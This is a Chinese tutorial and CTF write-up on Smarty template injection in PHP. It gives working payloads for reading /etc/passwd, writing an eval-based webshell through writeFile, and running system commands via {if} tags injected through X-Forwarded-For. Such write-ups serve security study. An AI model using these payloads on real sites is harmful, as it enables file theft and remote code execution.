Smarty
了解
是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,$smarty内置变量可用于访问各种环境变量,
$Smarty内置变量:
模板变量:如
$smarty.get
、$smarty.post
、$smarty.cookies
等,用于访问 HTTP 请求中的 GET、POST、COOKIE 数据。环境变量:如
$smarty.server
、$smarty.env
等,用于访问服务器和环境变量。配置变量:如
$smarty.config
,用于访问配置文件中的变量。当前模板信息:如
$smarty.template
,用于访问当前模板的信息。其他 Smarty 功能:如
$smarty.now
获取当前时间戳,$smarty.const
访问 PHP 常量等。
再举个例子:smarty/libs/sysplugins/smarty_internal_data.php ——> getStreamVariable() 这个方法可以获取传入变量的流
getStreamVariable($variable)
是 Smarty 内部的一个方法,位于smarty/libs/sysplugins/smarty_internal_data.php
文件中。这个方法用于获取流变量(stream variable),通常用于处理文件流或网络流等资源。方法签名:
public function getStreamVariable($variable)参数:
$variable
:要获取的流变量的名称。返回值:
返回流变量的内容。
使用场景:
getStreamVariable()
方法通常用于在模板中获取外部资源的内容,比如读取远程文件、数据库流等。你可以通过$smarty
变量调用这个方法。
使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的的方法,因此我们可以用这个方法读文件,payload:
{self::getStreamVariable("file:///etc/passwd")}
新版本smarty已将该静态方法删除(666后面做提的时候才发现)
再举个例子:smarty/libs/sysplugins/smarty_internal_write_file.php ——> Smarty_Internal_Write_File 这个类中有一个writeFile方法
class Smarty_Internal_Write_File
{
/**
* Writes file in a safe way to disk
*
* @param string $_filepath complete filepath
* @param string $_contents file content
* @param Smarty $smarty smarty instance
*
* @throws SmartyException
* @return boolean true
*/
public function writeFile($_filepath, $_contents, Smarty $smarty)
{
$_error_reporting = error_reporting();
error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);
if ($smarty->_file_perms !== null) {
$old_umask = umask(0);
}
$_dirpath = dirname($_filepath);
// if subdirs, create dir structure
if ($_dirpath !== '.' && !file_exists($_dirpath)) {
mkdir($_dirpath, $smarty->_dir_perms === null ? 0777 : $smarty->_dir_perms, true);
}
// write to tmp file, then move to overt file lock race condition
$_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true));
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
}
/*
* Windows' rename() fails if the destination exists,
* Linux' rename() properly handles the overwrite.
* Simply unlink()ing a file might cause other processes
* currently reading that file to fail, but linux' rename()
* seems to be smart enough to handle that for us.
*/
if (Smarty::$_IS_WINDOWS) {
// remove original file
if (is_file($_filepath)) {
@unlink($_filepath);
}
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
} else {
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
if (!$success) {
// remove original file
if (is_file($_filepath)) {
@unlink($_filepath);
}
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
}
}
if (!$success) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_filepath}");
}
if ($smarty->_file_perms !== null) {
// set file permissions
chmod($_filepath, $smarty->_file_perms);
umask($old_umask);
}
error_reporting($_error_reporting);
return true;
}
}
writeFile
方法的主要功能是:
将内容安全地写入指定文件。
确保文件写入的原子性(通过临时文件和重命名操作)。
处理文件写入过程中的错误(如权限不足、磁盘空间不足等)。
支持自定义目录和文件权
构造payload:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}
例题
看最下面,是Smarty模板,右上角显示了ip,由题目可以知道ip受XFF控制,试试添加XFF
ip改成1了,所以可以控制XFF来输入恶意语句,看了别人wp说smarty
中的{if}
标签中可以执行php
语句,所以构造payload:
{{system('cat /flag')}}
{if readfile('/flag')}{/if}
{if system('cat /flag')}{/if}
这几个试过都行
本题中引发SSTI的代码简化后如下:
<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // display函数把标签替换成对象的php变量;显示模板
}
可以看到这里使用字符串代替smarty模板,导致了注入的Smarty标签被直接解析执行,产生了SSTI。
$_SERVER['HTTP_X_FORWARDED_FOR']
从 HTTP 请求头中获取
X-Forwarded-For
的值。该值由客户端控制,可能包含恶意输入。
$smarty->display("string:".$ip)
display
函数用于渲染模板。
"string:"
表示将后续字符串作为模板内容直接解析。这里将用户输入的
$ip
直接拼接到模板中。
Smarty-SSTI常规利用方式:
1.
{$smarty.version} #获取smarty的版本号
2.
<script language="php">phpinfo();</script>
但是这种写法只适用于php5环境
3.
{self::getStreamVariable("file:///etc/passwd")}
这个的使用看前面例子里有
4.
{if phpinfo()}{/if}
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*,or,&&,and,is_array()等等,如:{if is_array($array)}{/if}*